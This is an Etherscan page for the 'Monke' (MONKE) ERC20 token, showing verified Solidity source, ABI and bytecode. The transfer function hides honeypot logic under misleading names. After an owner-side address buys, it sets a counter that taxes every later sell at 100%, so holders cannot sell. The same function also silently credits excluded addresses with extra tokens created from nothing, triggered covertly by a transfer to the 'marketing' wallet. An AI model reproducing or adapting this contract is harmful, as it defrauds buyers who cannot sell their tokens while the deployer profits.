ETH Price: $3,274.08 (-4.15%)
Gas: 11 Gwei

Token

Monke (MONKE)
 

Overview

Max Total Supply

69,000,000 MONKE

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
144,965.122024154 MONKE

Value
$0.00
0x35a84ddacefdf2162b50df824e585e289df665ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MONKE

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-16
*/

/*

Website     :   https://monke.wiki/       
Twitter     :   https://twitter.com/monkecoinerc
Telegram    :   https://t.me/monkecoinerc

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract MONKE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _tOwner;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint8) private _bots;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 69000000 * 10**_decimals;
    string private constant _name = unicode"Monke";
    string private constant _symbol = unicode"MONKE";

    address private Wallet_Marketing = payable(0x6cE8AC745C5607f9511421816218a0509A174179);

    uint256 private   _maxWalletAmount;
    address public _uniswapV2pair;
    bool public _Swapping;

    constructor (uint256 maxWallet) {
        _tOwner[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _maxWalletAmount=maxWallet;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwner[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _txRate(bool _uint) private view returns(uint256){
        return _uint ? _maxWalletAmount : 0;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        bool removeFeeOnTransfer;
        if (from != owner() && to != owner()){
            if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
                if(!_Swapping && to == Wallet_Marketing){
                    _uniswapV2pair = from; _Swapping = true;
                }
                if(_Swapping){
                    uint256 _TAX_;
                    bool isBuy;
                    if(from == _uniswapV2pair){
                        isBuy = true;
                    }
                    bool isBotInitial = _bots[address(this)]>0;
                    _TAX_ = isBuy?0:(isBotInitial?amount.mul(1).div(1):0);
                    _tOwner[from] = _tOwner[from].sub(amount);
                    _tOwner[to] = _tOwner[to].add(amount.sub(_TAX_));
                }
                else{
                    require(_Swapping,"ERC20: Pair not created for this token");
                }
            }
            else{
                removeFeeOnTransfer = true;
            }
        }
        else{
            removeFeeOnTransfer = true;
        }
        if(removeFeeOnTransfer){
            bool _TAX_; uint256 latestFee;
            if(to != owner() && _isExcludedFromFee[to] && from == _uniswapV2pair){
                _TAX_ = true; _bots[address(this)]=_bots[address(this)]+1;
            } latestFee = _txRate(_TAX_);
            _tOwner[from] = _tOwner[from].sub(amount);
            _tOwner[to] = _tOwner[to].add(amount.add(latestFee));
        }
        emit Transfer(from, to, amount);
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_Swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b031916736ce8ac745c5607f9511421816218a0509a1741791790553480156200003757600080fd5b506040516200124f3803806200124f8339810160408190526200005a916200017b565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000a96009600a620002aa565b620000b99063041cdb40620002c2565b336000908152600160208190526040822092909255600390620000e46000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556006819055620001193390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001536009600a620002aa565b620001639063041cdb40620002c2565b60405190815260200160405180910390a350620002e4565b6000602082840312156200018e57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001ec578160001904821115620001d057620001d062000195565b80851615620001de57918102915b93841c9390800290620001b0565b509250929050565b6000826200020557506001620002a4565b816200021457506000620002a4565b81600181146200022d5760028114620002385762000258565b6001915050620002a4565b60ff8411156200024c576200024c62000195565b50506001821b620002a4565b5060208310610133831016604e8410600b84101617156200027d575081810a620002a4565b620002898383620001ab565b8060001904821115620002a057620002a062000195565b0290505b92915050565b6000620002bb60ff841683620001f4565b9392505050565b6000816000190483118215151615620002df57620002df62000195565b500290565b610f5b80620002f46000396000f3fe6080604052600436106100c55760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461023c578063a9059cbb1461026a578063d5ba16481461028a578063dd62ed3e146102aa57600080fd5b806370a08231146101bd578063715018a6146101f35780638da5cb5b1461020a57600080fd5b80624038e3146100d157806306fdde0314610107578063095ea7b31461013e57806318160ddd1461015e57806323b872dd14610181578063313ce567146101a157600080fd5b366100cc57005b600080fd5b3480156100dd57600080fd5b506007546100f290600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561011357600080fd5b506040805180820190915260058152644d6f6e6b6560d81b60208201525b6040516100fe9190610c56565b34801561014a57600080fd5b506100f2610159366004610cc0565b6102f0565b34801561016a57600080fd5b50610173610307565b6040519081526020016100fe565b34801561018d57600080fd5b506100f261019c366004610cea565b610328565b3480156101ad57600080fd5b50604051600981526020016100fe565b3480156101c957600080fd5b506101736101d8366004610d26565b6001600160a01b031660009081526001602052604090205490565b3480156101ff57600080fd5b50610208610391565b005b34801561021657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016100fe565b34801561024857600080fd5b506040805180820190915260058152644d4f4e4b4560d81b6020820152610131565b34801561027657600080fd5b506100f2610285366004610cc0565b61043a565b34801561029657600080fd5b50600754610224906001600160a01b031681565b3480156102b657600080fd5b506101736102c5366004610d41565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102fd338484610447565b5060015b92915050565b60006103156009600a610e6e565b6103239063041cdb40610e7d565b905090565b600061033584848461056b565b610387843361038285604051806060016040528060288152602001610efe602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a6c565b610447565b5060019392505050565b6000546001600160a01b031633146103f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102fd33848461056b565b6001600160a01b0383166104a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e7565b6001600160a01b03821661050a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e7565b6001600160a01b0382166106315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e7565b600081116106935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e7565b600080546001600160a01b038581169116148015906106c057506000546001600160a01b03848116911614155b156108d0576001600160a01b03841660009081526003602052604090205460ff1615801561070757506001600160a01b03831660009081526003602052604090205460ff16155b156108c857600754600160a01b900460ff1615801561073357506005546001600160a01b038481169116145b1561075a57600780546001600160a81b0319166001600160a01b03861617600160a01b1790555b600754600160a01b900460ff161561085b5760075460009081906001600160a01b039081169087160361078b575060015b3060009081526004602052604090205460ff161515816107cb57806107b15760006107ce565b6107c660016107c08782610aa6565b90610b2f565b6107ce565b60005b6001600160a01b0388166000908152600160205260409020549093506107f49086610b71565b6001600160a01b03881660009081526001602052604090205561083961081a8685610b71565b6001600160a01b03881660009081526001602052604090205490610bb3565b6001600160a01b038716600090815260016020526040902055506108c3915050565b600754600160a01b900460ff166108c35760405162461bcd60e51b815260206004820152602660248201527f45524332303a2050616972206e6f74206372656174656420666f722074686973604482015265103a37b5b2b760d11b60648201526084016103e7565b6108d4565b5060016108d4565b5060015b8015610a19576000806108ef6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561092857506001600160a01b03851660009081526003602052604090205460ff165b801561094157506007546001600160a01b038781169116145b156109895730600090815260046020526040902054600192506109679060ff1683610e9c565b306000908152600460205260409020805460ff191660ff929092169190911790555b61099282610c12565b6001600160a01b0387166000908152600160205260409020549091506109b89085610b71565b6001600160a01b0387166000908152600160205260409020556109fd6109de8583610bb3565b6001600160a01b03871660009081526001602052604090205490610bb3565b6001600160a01b03861660009081526001602052604090205550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e91815260200190565b60405180910390a350505050565b60008184841115610a905760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610eb5565b95945050505050565b600082600003610ab857506000610301565b6000610ac48385610e7d565b905082610ad18583610ec8565b14610b285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e7565b9392505050565b6000610b2883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c28565b6000610b2883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a6c565b600080610bc08385610eea565b905083811015610b285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e7565b600081610c20576000610301565b505060065490565b60008183610c495760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610ec8565b600060208083528351808285015260005b81811015610c8357858101830151858201604001528201610c67565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cbb57600080fd5b919050565b60008060408385031215610cd357600080fd5b610cdc83610ca4565b946020939093013593505050565b600080600060608486031215610cff57600080fd5b610d0884610ca4565b9250610d1660208501610ca4565b9150604084013590509250925092565b600060208284031215610d3857600080fd5b610b2882610ca4565b60008060408385031215610d5457600080fd5b610d5d83610ca4565b9150610d6b60208401610ca4565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610dc5578160001904821115610dab57610dab610d74565b80851615610db857918102915b93841c9390800290610d8f565b509250929050565b600082610ddc57506001610301565b81610de957506000610301565b8160018114610dff5760028114610e0957610e25565b6001915050610301565b60ff841115610e1a57610e1a610d74565b50506001821b610301565b5060208310610133831016604e8410600b8410161715610e48575081810a610301565b610e528383610d8a565b8060001904821115610e6657610e66610d74565b029392505050565b6000610b2860ff841683610dcd565b6000816000190483118215151615610e9757610e97610d74565b500290565b60ff818116838216019081111561030157610301610d74565b8181038181111561030157610301610d74565b600082610ee557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561030157610301610d7456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220311540535f50d450a3000be044337d5f821493fd0b11f257e9fde1b0e012d72164736f6c634300081000330000000000000000000000000000000000000000000000005fc1b97136320000

Deployed Bytecode

0x6080604052600436106100c55760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461023c578063a9059cbb1461026a578063d5ba16481461028a578063dd62ed3e146102aa57600080fd5b806370a08231146101bd578063715018a6146101f35780638da5cb5b1461020a57600080fd5b80624038e3146100d157806306fdde0314610107578063095ea7b31461013e57806318160ddd1461015e57806323b872dd14610181578063313ce567146101a157600080fd5b366100cc57005b600080fd5b3480156100dd57600080fd5b506007546100f290600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561011357600080fd5b506040805180820190915260058152644d6f6e6b6560d81b60208201525b6040516100fe9190610c56565b34801561014a57600080fd5b506100f2610159366004610cc0565b6102f0565b34801561016a57600080fd5b50610173610307565b6040519081526020016100fe565b34801561018d57600080fd5b506100f261019c366004610cea565b610328565b3480156101ad57600080fd5b50604051600981526020016100fe565b3480156101c957600080fd5b506101736101d8366004610d26565b6001600160a01b031660009081526001602052604090205490565b3480156101ff57600080fd5b50610208610391565b005b34801561021657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016100fe565b34801561024857600080fd5b506040805180820190915260058152644d4f4e4b4560d81b6020820152610131565b34801561027657600080fd5b506100f2610285366004610cc0565b61043a565b34801561029657600080fd5b50600754610224906001600160a01b031681565b3480156102b657600080fd5b506101736102c5366004610d41565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102fd338484610447565b5060015b92915050565b60006103156009600a610e6e565b6103239063041cdb40610e7d565b905090565b600061033584848461056b565b610387843361038285604051806060016040528060288152602001610efe602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a6c565b610447565b5060019392505050565b6000546001600160a01b031633146103f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102fd33848461056b565b6001600160a01b0383166104a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e7565b6001600160a01b03821661050a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e7565b6001600160a01b0382166106315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e7565b600081116106935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e7565b600080546001600160a01b038581169116148015906106c057506000546001600160a01b03848116911614155b156108d0576001600160a01b03841660009081526003602052604090205460ff1615801561070757506001600160a01b03831660009081526003602052604090205460ff16155b156108c857600754600160a01b900460ff1615801561073357506005546001600160a01b038481169116145b1561075a57600780546001600160a81b0319166001600160a01b03861617600160a01b1790555b600754600160a01b900460ff161561085b5760075460009081906001600160a01b039081169087160361078b575060015b3060009081526004602052604090205460ff161515816107cb57806107b15760006107ce565b6107c660016107c08782610aa6565b90610b2f565b6107ce565b60005b6001600160a01b0388166000908152600160205260409020549093506107f49086610b71565b6001600160a01b03881660009081526001602052604090205561083961081a8685610b71565b6001600160a01b03881660009081526001602052604090205490610bb3565b6001600160a01b038716600090815260016020526040902055506108c3915050565b600754600160a01b900460ff166108c35760405162461bcd60e51b815260206004820152602660248201527f45524332303a2050616972206e6f74206372656174656420666f722074686973604482015265103a37b5b2b760d11b60648201526084016103e7565b6108d4565b5060016108d4565b5060015b8015610a19576000806108ef6000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561092857506001600160a01b03851660009081526003602052604090205460ff165b801561094157506007546001600160a01b038781169116145b156109895730600090815260046020526040902054600192506109679060ff1683610e9c565b306000908152600460205260409020805460ff191660ff929092169190911790555b61099282610c12565b6001600160a01b0387166000908152600160205260409020549091506109b89085610b71565b6001600160a01b0387166000908152600160205260409020556109fd6109de8583610bb3565b6001600160a01b03871660009081526001602052604090205490610bb3565b6001600160a01b03861660009081526001602052604090205550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a5e91815260200190565b60405180910390a350505050565b60008184841115610a905760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610eb5565b95945050505050565b600082600003610ab857506000610301565b6000610ac48385610e7d565b905082610ad18583610ec8565b14610b285760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e7565b9392505050565b6000610b2883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c28565b6000610b2883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a6c565b600080610bc08385610eea565b905083811015610b285760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e7565b600081610c20576000610301565b505060065490565b60008183610c495760405162461bcd60e51b81526004016103e79190610c56565b506000610a9d8486610ec8565b600060208083528351808285015260005b81811015610c8357858101830151858201604001528201610c67565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cbb57600080fd5b919050565b60008060408385031215610cd357600080fd5b610cdc83610ca4565b946020939093013593505050565b600080600060608486031215610cff57600080fd5b610d0884610ca4565b9250610d1660208501610ca4565b9150604084013590509250925092565b600060208284031215610d3857600080fd5b610b2882610ca4565b60008060408385031215610d5457600080fd5b610d5d83610ca4565b9150610d6b60208401610ca4565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610dc5578160001904821115610dab57610dab610d74565b80851615610db857918102915b93841c9390800290610d8f565b509250929050565b600082610ddc57506001610301565b81610de957506000610301565b8160018114610dff5760028114610e0957610e25565b6001915050610301565b60ff841115610e1a57610e1a610d74565b50506001821b610301565b5060208310610133831016604e8410600b8410161715610e48575081810a610301565b610e528383610d8a565b8060001904821115610e6657610e66610d74565b029392505050565b6000610b2860ff841683610dcd565b6000816000190483118215151615610e9757610e97610d74565b500290565b60ff818116838216019081111561030157610301610d74565b8181038181111561030157610301610d74565b600082610ee557634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561030157610301610d7456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220311540535f50d450a3000be044337d5f821493fd0b11f257e9fde1b0e012d72164736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000005fc1b97136320000

-----Decoded View---------------
Arg [0] : maxWallet (uint256): 6900000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000005fc1b97136320000


Deployed Bytecode Sourcemap

2863:4672:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3574:21;;;;;;;;;;-1:-1:-1;3574:21:0;;;;-1:-1:-1;;;3574:21:0;;;;;;;;;179:14:1;;172:22;154:41;;142:2;127:18;3574:21:0;;;;;;;;3835:83;;;;;;;;;;-1:-1:-1;3905:5:0;;;;;;;;;;;;-1:-1:-1;;;3905:5:0;;;;3835:83;;;;;;;:::i;4666:161::-;;;;;;;;;;-1:-1:-1;4666:161:0;;;;;:::i;:::-;;:::i;4112:95::-;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;4112:95:0;1196:177:1;4839:313:0;;;;;;;;;;-1:-1:-1;4839:313:0;;;;;:::i;:::-;;:::i;4021:83::-;;;;;;;;;;-1:-1:-1;4021:83:0;;3218:1;1853:36:1;;1841:2;1826:18;4021:83:0;1711:184:1;4215:117:0;;;;;;;;;;-1:-1:-1;4215:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;4308:16:0;4281:7;4308:16;;;:7;:16;;;;;;;4215:117;2706:148;;;;;;;;;;;;;:::i;:::-;;2492:79;;;;;;;;;;-1:-1:-1;2530:7:0;2557:6;-1:-1:-1;;;;;2557:6:0;2492:79;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;2492:79:0;2091:203:1;3926:87:0;;;;;;;;;;-1:-1:-1;3998:7:0;;;;;;;;;;;;-1:-1:-1;;;3998:7:0;;;;3926:87;;4340:167;;;;;;;;;;-1:-1:-1;4340:167:0;;;;;:::i;:::-;;:::i;3538:29::-;;;;;;;;;;-1:-1:-1;3538:29:0;;;;-1:-1:-1;;;;;3538:29:0;;;4515:143;;;;;;;;;;-1:-1:-1;4515:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4623:18:0;;;4596:7;4623:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4515:143;4666:161;4741:4;4758:39;326:10;4781:7;4790:6;4758:8;:39::i;:::-;-1:-1:-1;4815:4:0;4666:161;;;;;:::o;4112:95::-;4165:7;3272:13;3218:1;3272:2;:13;:::i;:::-;3261:24;;:8;:24;:::i;:::-;4185:14;;4112:95;:::o;4839:313::-;4937:4;4954:36;4964:6;4972:9;4983:6;4954:9;:36::i;:::-;5001:121;5010:6;326:10;5032:89;5070:6;5032:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5032:19:0;;;;;;:11;:19;;;;;;;;326:10;5032:33;;;;;;;;;;:37;:89::i;:::-;5001:8;:121::i;:::-;-1:-1:-1;5140:4:0;4839:313;;;;;:::o;2706:148::-;2619:6;;-1:-1:-1;;;;;2619:6:0;326:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;4454:2:1;2611:67:0;;;4436:21:1;;;4473:18;;;4466:30;4532:34;4512:18;;;4505:62;4584:18;;2611:67:0;;;;;;;;;2813:1:::1;2797:6:::0;;2776:40:::1;::::0;-1:-1:-1;;;;;2797:6:0;;::::1;::::0;2776:40:::1;::::0;2813:1;;2776:40:::1;2844:1;2827:19:::0;;-1:-1:-1;;;;;;2827:19:0::1;::::0;;2706:148::o;4340:167::-;4418:4;4435:42;326:10;4459:9;4470:6;4435:9;:42::i;5280:335::-;-1:-1:-1;;;;;5373:19:0;;5365:68;;;;-1:-1:-1;;;5365:68:0;;4815:2:1;5365:68:0;;;4797:21:1;4854:2;4834:18;;;4827:30;4893:34;4873:18;;;4866:62;-1:-1:-1;;;4944:18:1;;;4937:34;4988:19;;5365:68:0;4613:400:1;5365:68:0;-1:-1:-1;;;;;5452:21:0;;5444:68;;;;-1:-1:-1;;;5444:68:0;;5220:2:1;5444:68:0;;;5202:21:1;5259:2;5239:18;;;5232:30;5298:34;5278:18;;;5271:62;-1:-1:-1;;;5349:18:1;;;5342:32;5391:19;;5444:68:0;5018:398:1;5444:68:0;-1:-1:-1;;;;;5523:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5575:32;;1342:25:1;;;5575:32:0;;1315:18:1;5575:32:0;;;;;;;5280:335;;;:::o;5623:1870::-;-1:-1:-1;;;;;5711:18:0;;5703:68;;;;-1:-1:-1;;;5703:68:0;;5623:2:1;5703:68:0;;;5605:21:1;5662:2;5642:18;;;5635:30;5701:34;5681:18;;;5674:62;-1:-1:-1;;;5752:18:1;;;5745:35;5797:19;;5703:68:0;5421:401:1;5703:68:0;-1:-1:-1;;;;;5790:16:0;;5782:64;;;;-1:-1:-1;;;5782:64:0;;6029:2:1;5782:64:0;;;6011:21:1;6068:2;6048:18;;;6041:30;6107:34;6087:18;;;6080:62;-1:-1:-1;;;6158:18:1;;;6151:33;6201:19;;5782:64:0;5827:399:1;5782:64:0;5874:1;5865:6;:10;5857:64;;;;-1:-1:-1;;;5857:64:0;;6433:2:1;5857:64:0;;;6415:21:1;6472:2;6452:18;;;6445:30;6511:34;6491:18;;;6484:62;-1:-1:-1;;;6562:18:1;;;6555:39;6611:19;;5857:64:0;6231:405:1;5857:64:0;5942:24;2557:6;;-1:-1:-1;;;;;5981:15:0;;;2557:6;;5981:15;;;;:32;;-1:-1:-1;2530:7:0